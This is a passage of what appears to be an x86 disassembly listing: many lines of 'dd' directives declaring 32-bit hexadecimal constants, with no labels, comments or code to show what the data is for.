		dd 4DEF8A2h, 0DF40E629h, 258D4ECh, 0B8729CF0h, 84A5684Ch
		dd 4047F900h, 367FF46h,	9F898029h, 33B8E0C2h, 6400F1BDh
		dd 6670016Ah, 5248E38h,	0E1A7827Eh, 8C0081EFh, 29286046h
		dd 0BBFEF700h, 0C1E8A186h, 0D9440292h, 1EBD1894h, 5082AC4Ah
		dd 0E9C09F3Ah, 6817F0EEh, 9277h, 8CED1328h, 0ECE900D7h
		dd 0FA5C9867h, 85E83D6Fh, 1DD85709h, 0CD68000Ch, 15C91137h
		dd 0AC5A7BC4h, 1875FB3Bh, 102E324Dh, 0EB124861h, 0B86027C8h
		dd 0F81225h, 0DF9C046Fh, 3AA4204Dh, 4BD88105h, 88412C27h
		dd 6158126Bh, 0A65E2F4h, 0ED031C38h, 0B59E80A8h, 2A999DE3h
		dd 50110F04h, 0C0D5C7E7h, 106D8C00h, 4F640B6h, 133D9A56h
		dd 4EB08C0Dh, 87D35317h, 972F6002h, 0B1868E7h, 0F15402ABh
		dd 0C90B3AAh, 18E82F60h, 0A03EB400h, 0A8828BA2h, 27D03BDEh
		dd 57E12103h, 1CD3B57Eh, 1FE0A9B0h, 738C84A9h, 6683015Ch
		dd 0BED769A4h, 3530ADCh, 0DA776DCAh, 50018062h,	0FA273E14h
		dd 302187C1h, 9F0D8400h, 0BE3C07F9h, 0C05D435Bh, 57D248B3h
		dd 1F80F8DEh, 0AF07B1F1h, 0B93B01C9h, 1434CD32h, 0CA047076h
		dd 2C4A25Dh, 686D65F8h,	288C6C7Bh, 394E5F1h, 76EBDC2Ah
		dd 0B80719C3h, 8A2F2B78h, 0A3C145B7h, 2C46CC9Fh, 302748B0h
		dd 0B02807C7h, 0EF646CBDh, 0C5E0F41Fh, 0F81D8A52h, 0AC81DA18h
		dd 163600CDh, 0BEE940D8h, 5D00D530h, 19FD0622h,	1CC442F7h
		dd 0A43BCF04h, 0A9760188h, 3432BAABh, 5548C880h, 0AE007D39h
		dd 7E564AF6h, 0C0404196h, 8A8BCA90h, 93035988h,	0B8B50BD2h
		dd 0E428034Fh, 7B25C177h, 7663DFA0h, 12061C00h,	70F037EAh
		dd 98A8D408h, 61813BC1h, 3190470Eh, 0DAEAF08Dh,	0F8E5F461h
		dd 0FC1C0DF6h, 97C0B661h, 8CDDA79Fh, 832E00DBh,	0FFF7822h
		dd 0A00C0D1h, 15DA69C9h, 3920CDh, 622BC73Eh, 0BB3AFAEFh
		dd 2E0F874Ch, 0FD0059F9h, 6B55B8CDh, 54C80324h,	4FE82BAh
		dd 0C33C21B0h, 885FA000h, 0EDB0AD2Dh, 83BA0052h, 28D44FD7h
		dd 7E0086C4h, 79A9A661h, 1DC11B06h, 40136B10h, 0CF2AE00Ah
		dd 470709DBh, 0BEDE41FFh, 9744D1F0h, 0EB383E13h, 0C6D59205h
		dd 1488062h, 0B17CEA58h, 35B08A00h, 0F48FB7FAh,	8643BFCh
		dd 41627B00h, 0B31A7A6Ah
		dd 0EF31BB60h, 3AA9724Ch, 9E8060F5h, 7DFF1F3Ah,	75004453h
		dd 35208474h, 756E9DCh,	10BDA70h, 0E89EF0DEh, 6800D8FFh
		dd 2BCBEE0Ch, 3B496B96h, 6E8026A1h, 4E1D601Bh, 997DDDE5h
		dd 16D1C403h, 0DE37E8AFh, 912E0B70h, 98803F52h,	0CBC1D66Dh
		dd 6D98C00h, 45C0B0A1h,	7D680AE2h, 80103F13h, 362B02A6h
		dd 0B71C71EEh, 60C09DE2h, 0D746902Ch, 0D9690115h, 112A6ED4h
		dd 3D65DC29h, 6AC3A602h, 80E8927Bh, 0E59FA4E4h,	0B38300A0h
		dd 8CD503C2h, 0EE0702F4h, 0D21AAD1Eh, 3FB1F870h, 212C00F9h
		dd 0E2FC9B90h, 0C300E862h, 2465F145h, 282E5852h, 1983C97h
		dd 0D5D18C55h, 43EEF321h, 0BD12E5h, 0E2B0398Ch,	18A0FAC4h
		dd 9D00041Fh, 0A96E0D94h, 52E457h, 5637DB79h, 0DCC44080h
		dd 727C3B00h, 6BF8862Ch, 0E080AB92h, 0F8C44C5h,	773A71EAh
		dd 0CCD7C062h, 0CF89FC60h, 0C322800h, 4053A164h, 1A8A72Dh
		dd 1242614Ch, 0D0FAD8DBh, 14E85F00h, 4E498A9Ch,	0C169003Ch
		dd 22AB8136h, 0B07E07C6h, 285FEE00h, 43A84159h,	0BE420011h
		dd 45976E09h, 0D1E6AA5Ah, 5DEA0B1Fh, 50D8F7C0h,	48CE84BAh
		dd 7C427CB0h, 0EF31E00Ah, 2DBD058Ch, 4170406Dh,	0C2FA3DFDh
		dd 0B904D8EEh, 35FB15A9h, 8020E184h, 7EDBF5ACh,	0B92B009Eh
		dd 264FA4E5h, 0BB485820h, 336F00ACh, 0FFA30A6Ah, 6AFD7748h
		dd 309C6A93h, 5D11D338h, 0B1B0400h, 0C983D6F7h,	77B201A8h
		dd 0CA2CB2Ah, 24AC26E8h, 8A03CCACh, 0C8E6C777h,	0A4A12D2h
		dd 788598D0h, 174E61C4h, 88F9B0F0h, 1284ADE3h, 5427C310h
		dd 3E742048h, 187BA57h,	0F0EBB903h, 4B2E64D3h, 0DFC02854h
		dd 0D2E2A21Ah, 0DAF410E8h, 0C45AC040h, 5A49AF34h, 0CA00DCB0h
		dd 0DD633CB5h, 64AB9326h, 8D1C695Bh, 823824E4h,	0C4FACC28h
		dd 0D1B3F500h, 9D0A9083h, 66A400AEh, 23349310h,	5BECCB82h
		dd 1B76D400h, 0E7D8D502h, 0E3580784h, 90707DB2h, 1712737h
		dd 2B05C4E0h, 294F6069h, 0AEADAC04h, 34402D85h,	2855BF8Fh
		dd 254F1361h, 4C14289Ah, 8C182912h, 7E5F9042h, 0CF0440D8h
		dd 0C0FDF868h, 3973C619h, 0D9769A89h, 0AB45FB00h, 0E410C7EAh
		dd 6811FA8h, 0ED62C0C1h, 0E6392CF1h, 80C5A6F0h,	0A403C882h
		dd 4E8316Ch, 0C5E159F0h, 0E9E4C219h, 6805484Ch,	0CF2FF8A5h
		dd 0FB24A042h, 3786019h, 7FF7007Eh, 0B5D0498Dh,	893EA717h
		dd 0E85200A6h, 0B023714Dh, 360F0073h, 0D28AD874h, 7B555E28h
		dd 415C48DCh, 4F6B021Eh, 0BE585BC2h, 100679Dh, 0AE24F1F8h
		dd 48C4370Fh, 63580Dh, 0DB0E954Bh, 0E0AD1A70h, 0C327098Bh
		dd 582387C8h, 0EFD3EED4h, 0F26FB11Dh, 580FA4EAh, 0A9C01321h
		dd 607480E5h, 33BF977h,	0FA88AEE8h, 0B2E00AD7h,	8405386Ch
		dd 8E0CC69Dh, 0D128B200h, 2F82154h, 0CE1F22D8h,	94A050FCh
		dd 6CFE174Bh, 0D001AD71h, 0E6788C26h, 48443BECh, 64A414h
		dd 0F63AA52Eh, 4C69E74Dh, 8E8E105Ah, 0C1624A8Ch, 0EA59DA00h
		dd 0CE414983h, 0E8704961h, 0D6FDE300h, 5C8FCF13h, 9CC0B9F8h
		dd 52746949h, 38C20085h, 0F4895808h, 5A000B8Dh,	0C1071432h
		dd 42D0370h, 0F09AB10Eh, 0F5E8886Ch, 992B0F16h,	0B0217469h
		dd 4906406h, 0F158CE16h, 9E68C0BCh, 4000DB9Bh, 4842CCB1h
		dd 3BC3D1BDh, 750987B8h, 7C920418h, 9017F000h, 0D7269BD5h
		dd 0BC4A104Dh, 0DF8E8700h, 6A6A107h, 7F200564h,	2D0071CCh
		dd 0CF7BD4E3h, 1493CDC1h, 0DC304750h, 0AC287003h, 6FB063C5h
		dd 0A900A45Bh, 2FA2FD98h, 0F044810Fh, 0D260CFBDh, 9EC112C0h
		dd 0E801BB35h, 111E2E28h, 84C06916h, 7B6E0FCFh,	480FE80h
		dd 9658D578h, 0F090D498h, 381F1700h, 0D519882h,	0AB8917C0h
		dd 0DD48401Eh, 0FBAEC9EBh, 0AD074177h, 6A8A5257h, 162CA500h
		dd 1BF8C118h, 0F455976Ch, 0CD34E1CEh, 50D0595Ah, 2EF8BE0Eh
		dd 85647B3Eh, 0D089773Bh, 29FF9460h, 0E675F10Bh, 0ABE009A2h
		dd 4743010h, 17731244h,	1D4412DAh, 22828372h, 0D0958666h
		dd 7DB10DC0h, 0D9326414h, 0ADC1DC30h, 0B4C63CF8h, 0A92CE0h
		dd 8CA0E662h, 31F37A0Dh, 0B51ECD13h, 8DA7E001h,	0A2F0CE26h
		dd 5DDB2BC9h, 4811F54h,	83273EB7h, 0A100DB04h, 0C1BF7635h
		dd 4AA071Bh, 60B03C24h,	3EC890B5h, 0D20F50BBh, 0C5D12249h
		dd 5088BCE2h, 1ABA01AAh, 0DF729F55h, 2828C9h, 0BD074ECCh
		dd 7C3D499Ah, 8D37001Bh, 0D5A1E8CDh, 0E349B0BFh, 7B1C7304h
		dd 3E472787h, 84E0AD0Fh, 2C6D2EC8h, 0FDC0EBh, 0A5051F4Ah
		dd 0AA39106Ah, 5DA88026h, 5693DC1Ah, 0A733000Ah, 0B2D1FD7Dh
		dd 0F6EAE8E2h, 8444A1CBh, 0F09727A0h, 401DC7D2h, 89374Ch
		dd 42D7793h, 5EB78B52h,	15E23500h, 2EBEC6A4h, 0CCD74CD6h
		dd 7BD28500h, 0D0AE43Eh, 2237B207h, 4851C602h, 0C34F4BBh
		dd 0CCEB1382h, 9B344120h, 40C09DE4h, 6D402DC8h,	0F430DEE6h
		dd 3F432168h, 0B0980985h, 0A80552BFh, 29EC0012h, 65FC34Dh
		dd 800B5C3Dh, 6921C01Bh, 2C586FB0h, 0FDC559Bh, 168087A4h
		dd 93450D46h, 0E6053F7Eh, 4736B8FFh, 84225C80h,	87C625B2h
		dd 0D55C6C01h, 0D8C8DEECh, 66F080D7h, 0A9614B07h, 1E322F35h
		dd 0FADC91CFh, 9D5BCC51h, 4B3F3082h, 94CB7497h,	8EEDB398h
		dd 61210B09h, 164A00Ch,	137191Fh, 17207CFAh, 54919EE3h
		dd 255084B8h, 76C20C4h,	1100194Eh, 61FF52C8h, 382C3E50h
		dd 7B006BC9h, 0F95D844Dh, 5B037A41h, 12B79D6Dh,	7C913B26h
		dd 0B981BB03h, 59597889h, 38F5CA80h, 0DB74034Bh, 0A043E27Dh
		dd 0C6B1B8C0h, 8390272h, 45AB66F7h, 6880EC4Ah, 0A8C1BDAFh
		dd 622633FCh, 301EB90Ch, 0CD8EE986h, 39E50E40h,	34322250h
		dd 304C830h, 6214B614h,	0A24702E8h, 43564EB7h, 2F80250h
		dd 538D242Bh, 1608E8C8h, 293B8C00h, 0E2FEBF5Ch,	0C5DF2B26h
		dd 9F470058h, 4E768109h, 0D08FE8B1h, 0CC350Fh, 60744A75h
		dd 88CE19h, 46283582h, 0EC6496A7h, 0E4D6D124h, 0AB77FA0Eh
		dd 0A80800D0h, 3FE175E8h, 0D101993Ah, 0C985BAFCh, 350020F9h
		dd 8027294Ah, 0C43E6740h, 26B8C7C2h, 78B266E5h,	0A5968700h
		dd 0BE05AA6h, 0A81E587Dh, 1B4FA480h, 0B806E5B5h, 22ED8978h
		dd 5489318h, 90EE2Ah, 96A55938h, 2B00E2E3h, 32C5C6D4h
		dd 3095DB0h, 3A174FF6h,	0C83DF923h, 25923D50h, 0C89018DAh
		dd 0C02C4C16h, 5632EBC0h, 8B003AD6h, 0A867FB21h, 8C4176h
		dd 55F213A2h, 0CCD62DA0h, 4A5CDA4Ch, 0A4800024h, 72D7E4FFh
		dd 2DF40CB3h, 7FF0BFFCh, 46856801h, 0F298E989h,	570F20h
		dd 4B307178h, 0C2C80923h, 28859D05h, 97C28113h,	7AB880F5h
		dd 0D1D04Eh, 0CA94D72Ch, 0FA9B4174h, 370C9200h,	0F436CE6Eh
		dd 92C7746h, 5DE00833h,	0AF83D440h, 9716C313h, 91D177F0h
		dd 38585210h, 2CCDC3Ah,	382718C8h, 18B56214h, 0E992C4h
		dd 0E72A32C2h, 33B282CBh, 7C2C6C4Ah, 4934ECB5h,	302EC05Eh
		dd 656A9D84h, 0FCD35C80h, 900D014h, 310BD795h, 3F7B8AB0h
		dd 0C697167Dh, 17F00732h, 0A7F1A0E0h, 0C9C03862h, 48EF8344h
		dd 0D6EE1776h, 0BF1C0798h, 1041C014h, 0CB7608CAh, 0FF582A51h
		dd 0E0A6C9A0h, 5A1854A7h, 7D9410Eh, 0F4FF8127h,	0A06CC792h
		dd 0F9CE5510h, 455E7D00h, 8F01BF26h, 0D94E631Ah, 0D09D1164h
		dd 93DB8788h, 0BF363702h, 0E08BD1AAh, 0F02437h,	0DF1B9BD9h
		dd 0D8A8CC55h, 837C4092h, 48FA7124h, 0F3F00BE0h, 530B86Ah
		dd 9926D0Eh, 52282E1h
		dd 80866078h, 0E3D57F1Eh, 2B5E1800h, 48A54712h,	6A250075h
		dd 0FC80402Bh, 19C0340Fh, 0E559FA00h, 0B06315D4h, 2BC404A7h
		dd 0E0FE20DBh, 942E2560h, 68018C1Eh, 1AC97997h,	0C12EFDDDh
		dd 2CED26E1h, 0A080E424h, 99386Ch, 0A43EB3Ah, 56C40C83h
		dd 0E3710D14h, 179A00B8h, 944A7E39h, 0FC730970h, 2048AAEDh
		dd 9B002C93h, 0F2D92E71h, 7CD7A3h, 55A1E06Fh, 56098461h
		dd 0A8953124h, 52B57201h, 0CC60EF5Ch, 462A009Ah, 0ACDEEE3Ch
		dd 4C012C9Dh, 0BF5B57BBh, 0A42004E6h, 69CE0042h, 0E4463E51h
		dd 530410F6h, 0A8341EEDh, 98314A0h, 7B25C6FCh, 55CAA0CBh
		dd 18319260h, 59E5380Bh, 7EF0208Eh, 94C3B251h, 0AF430224h
		dd 3478BB24h, 2B5D7A01h, 97924C27h, 94213181h, 8282C3B4h
		dd 5AC61111h, 2E7860EAh, 91CA2CA7h, 0F8830278h,	0A0E8EDC8h
		dd 782CA3F6h, 4F8014CFh, 12D0A028h, 0C0609408h,	0CE334BFAh
		dd 0ABF7D200h, 6D64CB25h, 0B02DE79Eh, 804A1841h, 3F887E0Bh
		dd 0BA566080h, 8F053077h, 0C3B6A74h, 30B1E0A4h,	15B996EFh
		dd 0D809361Ch, 9FA642Ch, 0F6082434h, 78C820F1h,	1B7E01h
		dd 363568A0h, 11F18CC4h, 1A073490h, 0E4E5817h, 4C259965h
		dd 0EB8B98D0h, 40BA9Bh,	69D8EE30h, 91F3CD6Fh, 0F4808C94h
		dd 89E926B2h, 0F6E09A02h, 84E314BAh, 3F00E44Dh,	0E143C203h
		dd 1B7EEF12h, 995B5C0Eh, 749B22B6h, 2C607B3Ah, 66925014h
		dd 5EBD500h, 71CCF386h,	4D8F008Eh, 0E636F54Eh, 0D41F3F33h
		dd 68ADD46h, 58AC806Dh,	0C0806C2Eh, 0D9319505h,	0EE4000C4h
		dd 0D52837E8h, 0A4017E83h, 6ECAB360h, 0C2C7887h, 0DB08AC80h
		dd 6C9CC2E0h, 153DF805h, 0F2A2B0C7h, 54D88FC9h,	5A420098h
		dd 0AE9DD505h, 19DC09AAh, 0C00036CCh, 55AFB606h, 3A15B00h
		dd 509C6446h, 498E1FFEh, 744243CAh, 26C19D02h, 0F6E8408Dh
		dd 0B07291EBh, 962F180Eh, 4864053Fh, 0A09FA401h, 0C301912h
		dd 9AD4282Ah, 87223A90h, 0AC977C00h, 3FFDB905h,	0D4347B5Bh
		dd 0E48C8849h, 844E1320h, 476870B3h, 0A7413E82h, 0B37C9C50h
		dd 984AC4h, 61027238h, 5B008DECh, 25BEF8E1h, 2C7CFE27h
		dd 0F4845ADh, 22807436h, 102BCB2h, 1F39925h, 76CB8548h
		dd 6B05830h, 6E5379AFh,	0C0055927h, 91D7E7A5h, 0C40DC27h
		dd 0BEE66A1h, 0BB474D9Ch, 12F868ACh, 0BC000F5Bh, 0DE594F97h
		dd 93EC046Bh, 0D353EEACh, 10E17080h, 3320245Fh,	70071FAh
		dd 3411AC48h, 3E587E7h,	6F923F54h, 7EE88997h, 713FDBA8h
		dd 0F0CF008Bh, 2535705Ah, 27A8933Bh, 602D8CA0h,	0E57F82FCh
		dd 0EBB58402h, 439DE8E4h, 8EA115A0h, 0E07AE8B2h, 5FDB00A0h
		dd 0A921135Dh, 901857h,	82007BE4h, 83FFD8B5h, 503BCBF4h
		dd 9E50F476h, 0B7860044h, 0E9A713F2h, 1B713E01h, 88E49549h
		dd 0F56ED880h, 1CA44ACDh, 65CCC30Bh, 0A80D807Dh, 9E5045h
		dd 158A7EBh, 0AAE975AFh, 3403F478h, 0AE0D92D4h,	8F33B7F3h
		dd 4DB489D5h, 38364B31h, 2C34DC41h, 7BE87Dh, 0E903A2D0h
		dd 526AE749h, 403E589Ah, 831A16F9h, 69B02840h, 2D6FD31h
		dd 59A51781h, 0E4C82A67h, 60DD3A2Fh, 0FA882580h, 2460DBB8h
		dd 82B0CD3Dh, 764F90FDh, 895E08FAh, 168B2040h, 3CA3A63Eh
		dd 0CF870466h, 80ACE612h, 60876588h, 7CB3F100h,	19CBEFA8h
		dd 2B17CDCh, 0FC6F0837h, 0C9870A0h, 9C00D95Eh, 6931AB73h
		dd 0BA66021h, 34E56AF9h, 0EDC99900h, 200A5E7h, 0BEA909D9h
		dd 0E7739275h, 5E6AA30h, 0E944F6DEh, 0BE2C2C43h, 0A9A55B00h
		dd 0C62B1DB8h, 0C21E00F4h, 0D25347CBh, 0AB00B396h, 0DA02C948h
		dd 603C29h, 0A7102EE0h,	6B0CFB8Ah, 2308B91Fh, 4D0D3100h
		dd 38F01Dh, 0FB98DAE1h,	4665F1BFh, 0BEC9DB06h, 4589EBABh
		dd 0E6CFDCEDh, 9CA08E7Fh, 0EC3D4CBDh, 237780AAh, 1746D962h
		dd 0F19E0054h, 2B250FF2h, 701B705h, 0C239B97Ch,	80505026h
		dd 0BCF23Bh, 5777958Fh,	0C655944Dh, 35428C1Eh, 6E00C5A6h
		dd 0FCAAE040h, 0EECA00E5h, 0C4BC132h, 3704DC4Fh, 0F70BA69Fh
		dd 0A7AE8AC0h, 21B80C8Fh, 0F829DAC9h, 0B9BE1300h, 4E81D587h
		dd 974800ADh, 0A62E3CA9h, 5A00AFBFh, 7A521B3h, 0E291C2h
		dd 93D473B6h, 9B14ED5Eh, 28267A00h, 6724A356h, 323A0021h
		dd 0AD94EC71h, 6F009E1Eh, 0CADE0D40h, 9A5095h, 0DF0806D4h
		dd 3789EEC2h, 0CC079BF0h, 82A99F09h, 1ED3DAE0h,	0F4F9E6E4h
		dd 70B298B5h, 0E9BCA0C5h, 0F07B0012h, 954A0AD6h, 0AC1DDC91h
		dd 83B9E16Bh, 0D82ABC14h, 0AD20D7BEh, 139FBB7Ah, 4FFA27h
		dd 6FFE86CAh, 8A1CFF35h, 0F7404921h, 0F113404h,	630C00FCh
		dd 0EBC375C4h, 0E0754810h, 96F09100h, 0ADBF97CFh, 0E2B50CD3h
		dd 86E86EEFh, 15094F0Ch, 4AF97Fh, 0D6A006B3h, 61D93E84h
		dd 0D4FDFF02h, 0A27D04B7h, 0C06272DCh, 0EE63B8A7h, 733A00B4h
		dd 0CA04F893h, 0AD008119h, 0AEBC05F6h, 1AC29C56h, 0B9B7544Bh
		dd 103A9401h, 8AD3217Fh, 0B03BA290h, 8D0BAC80h,	3AF9CDAh
		dd 95014A96h, 6A8EA23h,	88055BC7h, 495605D6h, 0A0846822h
		dd 0BC072ECh, 4633008Ah, 5D2CEF0Ah, 7B018B4Eh, 0D9239AB8h
		dd 1824DE75h, 0A1241525h, 0ECCE6870h, 44FCCFBDh, 3D998D0Ch
		dd 2BE1CA06h, 0A0F08Ch,	770F69E8h, 4DEBC961h, 17243C90h
		dd 9A9C04F9h, 117243C0h, 0C058107Dh, 87AE598h, 6948276Dh
		dd 5F5615D5h, 0C5FE00B8h, 0A63BA59h, 26233BE4h,	5488B9B0h
		dd 0EBE42F09h, 64A5720Ah, 87805490h, 3629C428h,	4DA60024h
		dd 1D88E9FFh, 0AC04DAEBh, 0D00F9EC3h, 88EE5493h, 1331824h
		dd 276FC40Ch, 81FFB595h, 0E4C1CDE8h, 0B3FC8EBEh, 3BA93005h
		dd 1DAB9EB0h, 9B03E87Eh, 4D3E4ED2h, 4A639008h, 83F503B9h
		dd 0A2EA5E59h, 21283689h, 0B9200CB0h, 0A34A0C00h, 830F88C7h
		dd 3BCA030h, 0CCA2098Ch, 4020C6B6h, 0F76F50DFh,	0D416200h
		dd 79A85D7Eh, 70E21F4Ah, 0BEB60054h, 668016DFh,	5F20D600h
		dd 0B1C8FEC1h, 1B61032Dh, 0A0F16D8Dh, 473BE3F8h, 801D463Ah
		dd 0ABFDD986h, 0F97A72h, 0C45BFA05h, 2BE5911Ch,	7008CC00h
		dd 7A89A7E9h, 4EF807EFh, 76C3EBh, 3C3B54F4h, 50B93000h
		dd 0A7CC7969h, 9A260ED8h, 5E43F8B7h, 0A9004E14h, 22E21751h
		dd 1C28E344h, 0C3E1C3FFh, 0F745EB4Bh, 0D8304841h, 211F34D3h
		dd 0EE0C3F5Bh, 30F1405Ch, 99B0DB77h, 0C60C1C4Fh, 507DBF78h
		dd 9F8A00BBh, 0AA8CD579h, 2A1E158Eh, 760E556Ch,	0B4574006h
		dd 46A33Eh, 125C5E38h, 0E8E5E783h, 0F0CFEAFAh, 0E04B6F9Ah
		dd 0ECC9E24Dh, 0D8810665h, 0C16BB8BAh, 0D00FBFAh, 0AF2D5CE5h
		dd 30035B82h, 880234Fh,	0C6F6992Bh, 0B9F75506h,	1180EA9h
		dd 0DAEEB81Ah, 831580F0h, 38F35BD8h, 0A48CC817h, 0A8850002h
		dd 0E3AE3930h, 0F602FE76h, 0FAE97A19h, 5BB48070h, 0B85C543Dh
		dd 0E3150101h, 1F5331Fh, 0A1E5C8D1h, 0C547791Eh, 44E65E40h
		dd 303A04h, 56BDCF83h, 0CC272910h, 9E491C00h, 19A8A567h
		dd 69C60054h, 8DC1E75h,	98C0DB5Dh, 70CEAF9Ah, 8F0C03A9h
		dd 0EC3FB41Fh, 0EC8078FAh, 3AC2496Ch, 41057206h, 0C86A1Eh
		dd 8BFD1A35h, 0AE4093D1h, 8680B8DCh, 8D12AAEAh,	76A20357h
		dd 74065933h, 50434803h, 0E6540F99h, 1E550110h,	0D8BA8871h
		dd 449BD814h, 0F0DDA10Ah, 0DE0096E5h, 1CF3DA3Ah, 262528EDh
		dd 2AB47DF8h, 19C5A0Bh,	0BB5FE9F9h, 2491812Fh, 2E79C80Ch
		dd 81478E3Fh, 3E5955Ah
		dd 0CC40F8F7h, 142F1C9Ah, 0FCDBAE5Ch, 9B370A0Fh, 0D6FAD200h
		dd 5400AA49h, 430350E7h, 0D344CCh, 0F3222D7Ch, 0AB2F796Fh
		dd 7BCF8B05h, 9C07E80Ch, 43205459h, 1D7A6C2Bh, 4CF6F9F2h
		dd 0B770C35Bh, 95148C02h, 6DD965h, 0D2B5FECCh, 0D88F800Ch
		dd 1EB3647h, 580F8AE8h,	24963CF0h, 29EAD578h, 82185A49h
		dd 40BD4B84h, 76A2596Ch, 1D5B0357h, 0C9C7651Ch,	405A8AE1h
		dd 44B81590h, 0A099760Ch, 21F78F5h, 2207C8BAh, 80E0056Eh
		dd 12001179h, 8430318Bh, 1B160C2h, 0CA4B7E40h, 2055751Ch
		dd 8CA0E620h, 772E6AEDh, 1F3E049Fh, 0E0E8A4B4h,	4DFB543Eh
		dd 0F81C0008h, 44685324h, 3DC4A0B5h, 3ED13C92h,	0D83ADD80h
		dd 0AE061FA0h, 7F6004F2h, 80C2A2A9h, 0FB3D00FFh, 64764FFEh
		dd 0B104CE8Fh, 8A44998h, 0B450A480h, 4C69308Ah,	721FB058h
		dd 6E940154h, 0D8EA3E00h, 0B8CD81ADh, 0D2B726EDh, 9C308050h
		dd 8E064E96h, 0BD642904h, 0E8907DB6h, 2674F973h, 58346EDFh
		dd 1400E802h, 8D5FC7EAh, 487DF6AAh, 3F024853h, 572880C8h
		dd 97E88080h, 0B50022A7h, 1AF77C91h, 49941BBh, 654E46E7h
		dd 386CC1BDh, 0EDD442D0h, 9B448CA0h, 8A0A199Dh,	0A092AD40h
		dd 7A015400h, 9273FFF0h, 36F300FCh, 96D6B015h, 98A2774Ch
		dd 80C79480h, 0B8EE3A25h, 8301FB7Fh, 0E4612760h, 9340D4C4h
		dd 58B8479h, 0CCEABCC3h, 0FCE404F1h, 930CDE4h, 2138FC34h
		dd 7FE0D1C0h, 76BD234h,	390CAEA7h, 0A803393Bh, 8D0B4F8h
		dd 7048F955h, 0C84370h,	537909DCh, 8ABFAh, 86630A8Bh, 0BFEA8738h
		dd 0AEB8F809h, 0BD88A00Dh, 0A2BC7C47h, 0C044088Ch, 0C2E32CE0h
		dd 6E40FE2h, 14A22037h,	0C86894E0h, 0B7FC9C8Ah,	0CF799000h
		dd 0F3154CB5h, 1840B26Ch, 0D9E3050Dh, 997A643Dh, 0A5021C77h
		dd 67BEFE19h, 0E9EE60DCh, 5DFC0EE8h, 92002BBFh,	844D6120h
		dd 7B9D60C0h, 796ACCADh, 0EFEE0493h, 0C90BF685h, 1F4024ECh
		dd 812612F2h, 0A2E0F801h, 5B4842h, 22E782CFh, 0EB27C4BBh
		dd 0EC148726h, 7E1C0249h, 94C497h, 786533B3h, 0D54C19E7h
		dd 0D8A50126h, 58932B8Ch, 8AC80C70h, 8CE9E7BFh,	0A60A5D7Bh
		dd 9C3F747Dh, 0BEB83081h, 5424204Bh, 0ECE00CF5h, 1E21F183h
		dd 91B4CE00h, 9729C95Ah, 0B0D90F7h, 41013BCDh, 62F69402h
		dd 444E6462h, 0E28C090Bh, 0C82828B4h, 0C39AA486h, 4D2B00C0h
		dd 46B98DE4h, 7D265134h, 3C0650E2h, 58400CF6h, 9FC7ECF5h
		dd 0D2B5E433h, 68C1ECD4h, 8B90235Ch, 0B8AC2109h, 60E02AC7h
		dd 0A7B73CF7h, 0BB00B4D6h, 0A4D49D8h, 6DB056ADh, 6702FB00h
		dd 796E11CCh, 0A7E600EDh, 8D644296h, 562C173Bh,	3000A8D4h
		dd 0A37BDDFEh, 0F457A99h, 0A9941A44h, 48018589h, 82153592h
		dd 2C34C91h, 9788A750h,	0EE98B9D0h, 646E482Ah, 69269D58h
		dd 77202890h, 45B20082h, 2AFCCC2Eh, 6DE6DEE6h, 0A623D70Fh
		dd 0DB7A0F6h, 1583AAA1h, 80EB7E6Fh, 0EC631002h,	0B480BA1Dh
		dd 0FFEE6C07h, 0D87AF8A9h, 940C59FEh, 990C2044h, 0B33A1EE5h
		dd 8078F5F6h, 0D244AF80h, 83B69600h, 54647737h,	0F500010h
		dd 0A9FD56ECh, 467FAB68h, 8D328402h, 6545B1E0h,	26DC04B0h
		dd 0D7E88076h, 0D4901A5Dh, 0E0140839h, 8D8E2979h, 90471834h
		dd 606BB101h, 401F5B2Eh, 0D3963800h, 77B972FDh,	0F30416A5h
		dd 0E48B062Fh, 0F003125h, 818A3474h, 0BBBB242Dh, 5992B4h
		dd 0C18BDCE0h, 0C5009E8Dh, 6F08951Ch, 168F9F36h, 0EF96DC4h
		dd 0F1A1544Ch, 70DAF0D7h, 0F70037CBh, 89D8BCB8h, 0D25567Dh
		dd 13AAA8E1h, 57442118h, 7024ABE0h, 0AD8CDCD7h,	0C82C2326h
		dd 9B402130h, 2BE37DEDh, 0C024B905h, 7BC63BE7h,	0AC32E900h
		dd 0FEF9DAEAh, 0F5C7005Ah, 0CAEF9E2Bh, 851CD58Bh, 0DE00FB22h
		dd 0A5944EF3h, 285C60ABh, 1FE007F9h, 49BD220Bh,	0E6130069h
		dd 1837C7Bh, 70A0985Fh,	0F4D1568Eh, 2E008DC3h, 4FDD93EDh
		dd 7AEB5Dh, 7778B529h, 0F982E2A4h, 89DFE600h, 91C7FB6Bh
		dd 0B6BA1DC1h, 72A0078h, 65D4D73Dh, 760C8C00h, 0AB95989Eh
		dd 0F98A0FE2h, 0FF7C1749h, 3011F200h, 0C79A7F66h, 0B88251C3h
		dd 180BC0DDh, 0A9F16FA5h, 65EA70E0h, 6C005C7Fh,	15A20495h
		dd 1033548h, 6454268Ch,	30FC10E8h, 89002E74h, 60639451h
		dd 550E42h, 0B5FD4D06h,	8BE2253Bh, 0BD77C70Fh, 9C6C80C0h
		dd 0DA0846h, 110C1E84h,	0ADB2C272h, 65D9BB01h, 0AB1DD721h
		dd 0E08198DDh, 0A522E4B7h, 68589C43h, 0DD0398A8h, 0BD33E2A3h
		dd 45290695h, 212694DEh, 61759B02h, 40624F9Ch, 0C276F0h
		dd 0C8F7013h, 0EB7BB3E7h, 3A923400h, 0F9C3BBCAh, 0E3F60279h
		dd 0B5A20931h, 1D198A8Ch, 25967E18h, 749C59h, 73052F66h
		dd 3E29BF7h, 1D926F0Ch,	8E589B4h, 0AC5DCFF9h, 14733401h
		dd 0C180D551h, 0D9C09EA3h, 0A000177Eh, 0A7A58AF4h, 770D386Ch
		dd 12D0A1B9h, 120AEBF4h, 275229Ch, 19579A44h, 80E9D461h
		dd 789F4059h, 4824CDC2h, 69192C3Ch, 0F846416Ch,	5A3A39C8h
		dd 0C9680695h, 688D31h,	0BA48C24Ch, 226D2F81h, 9DC19A60h
		dd 1D024249h, 0F0F5DD52h, 0D4BF25C8h, 7E714B03h, 889670E7h
		dd 0DD5A6Fh, 164459F1h,	8AF5C336h, 35E0F800h, 12054393h
		dd 1D730053h, 10E9CC76h, 161DEE7Fh, 0A501AFF5h,	0FF8D2A37h
		dd 24D2F2F8h, 8745C28h,	1B40B689h, 22C9647h, 0D27C2932h
		dd 0D090AC80h, 80CEB3E6h, 6131E09Ah, 0E2B84CDFh, 78B1009Fh
		dd 6EDA3D7Ah, 52559ABFh, 498C00B8h, 0D13BDCFAh,	0A13D86A2h
